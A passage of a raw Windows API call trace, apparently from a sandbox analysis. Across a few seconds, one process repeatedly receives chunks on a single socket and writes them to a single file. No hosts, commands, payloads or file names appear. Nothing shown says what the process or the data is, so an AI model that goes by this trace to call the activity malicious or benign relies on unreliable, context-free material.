lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0107.850] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0107.851] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0107.922] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0107.922] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0107.923] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0107.998] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0107.999] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.069] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0108.070] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.142] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0108.143] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.213] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0108.213] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0108.213] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.285] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0108.285] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0108.285] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0108.360] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0108.361] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0108.438] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0108.438] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.507] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0108.508] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0108.581] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0108.581] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0108.658] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0108.658] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0108.724] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0108.725] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 36400 [0108.812] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0108.813] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0108.813] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0108.813] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0108.943] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0108.943] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0108.944] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0108.944] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0109.016] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0109.017] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0109.017] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0109.017] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0109.042] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0109.042] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0109.114] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0109.115] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0109.189] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0109.189] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0109.310] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0109.311] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0109.311] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0109.311] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 46200 [0109.451] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xb478, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xb478, lpOverlapped=0x0) returned 1 [0109.452] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 9800 [0109.452] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2648, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2648, lpOverlapped=0x0) returned 1 [0109.453] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0109.518] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0109.519] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 7000 [0109.519] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x1b58, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x1b58, lpOverlapped=0x0) returned 1 [0109.519] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 50400 [0109.670] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0109.671] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0109.753] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0109.753] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 39200 [0109.904] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0109.905] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0109.905] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0109.905] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0109.972] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0109.972] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0109.972] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0109.973] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0110.043] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0110.043] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0110.043] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0110.048] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0110.110] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0110.111] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0110.111] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0110.111] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0110.191] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0110.191] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0110.495] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0110.495] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 58800 [0110.495] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xe5b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xe5b0, lpOverlapped=0x0) returned 1 [0110.496] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0110.628] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0110.628] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0110.628] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0110.629] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0110.785] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0110.785] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0110.785] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0110.786] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0110.918] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0110.918] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0110.918] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0110.919] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0110.997] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0110.997] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0111.153] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0111.154] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0111.154] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0111.236] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0111.237] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0111.237] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0111.237] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0111.238] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0111.398] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0111.400] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0111.400] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0111.401] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0111.481] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0111.481] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0111.481] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0111.481] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0111.627] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0111.628] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0111.628] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0111.629] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0111.759] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0111.760] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0111.760] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0111.760] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0111.907] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0111.908] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0111.908] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 39200 [0112.063] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0112.063] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x9410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x9410, lpOverlapped=0x0) returned 1 [0112.063] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0112.063] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0112.064] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0112.140] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0112.140] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0112.140] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, 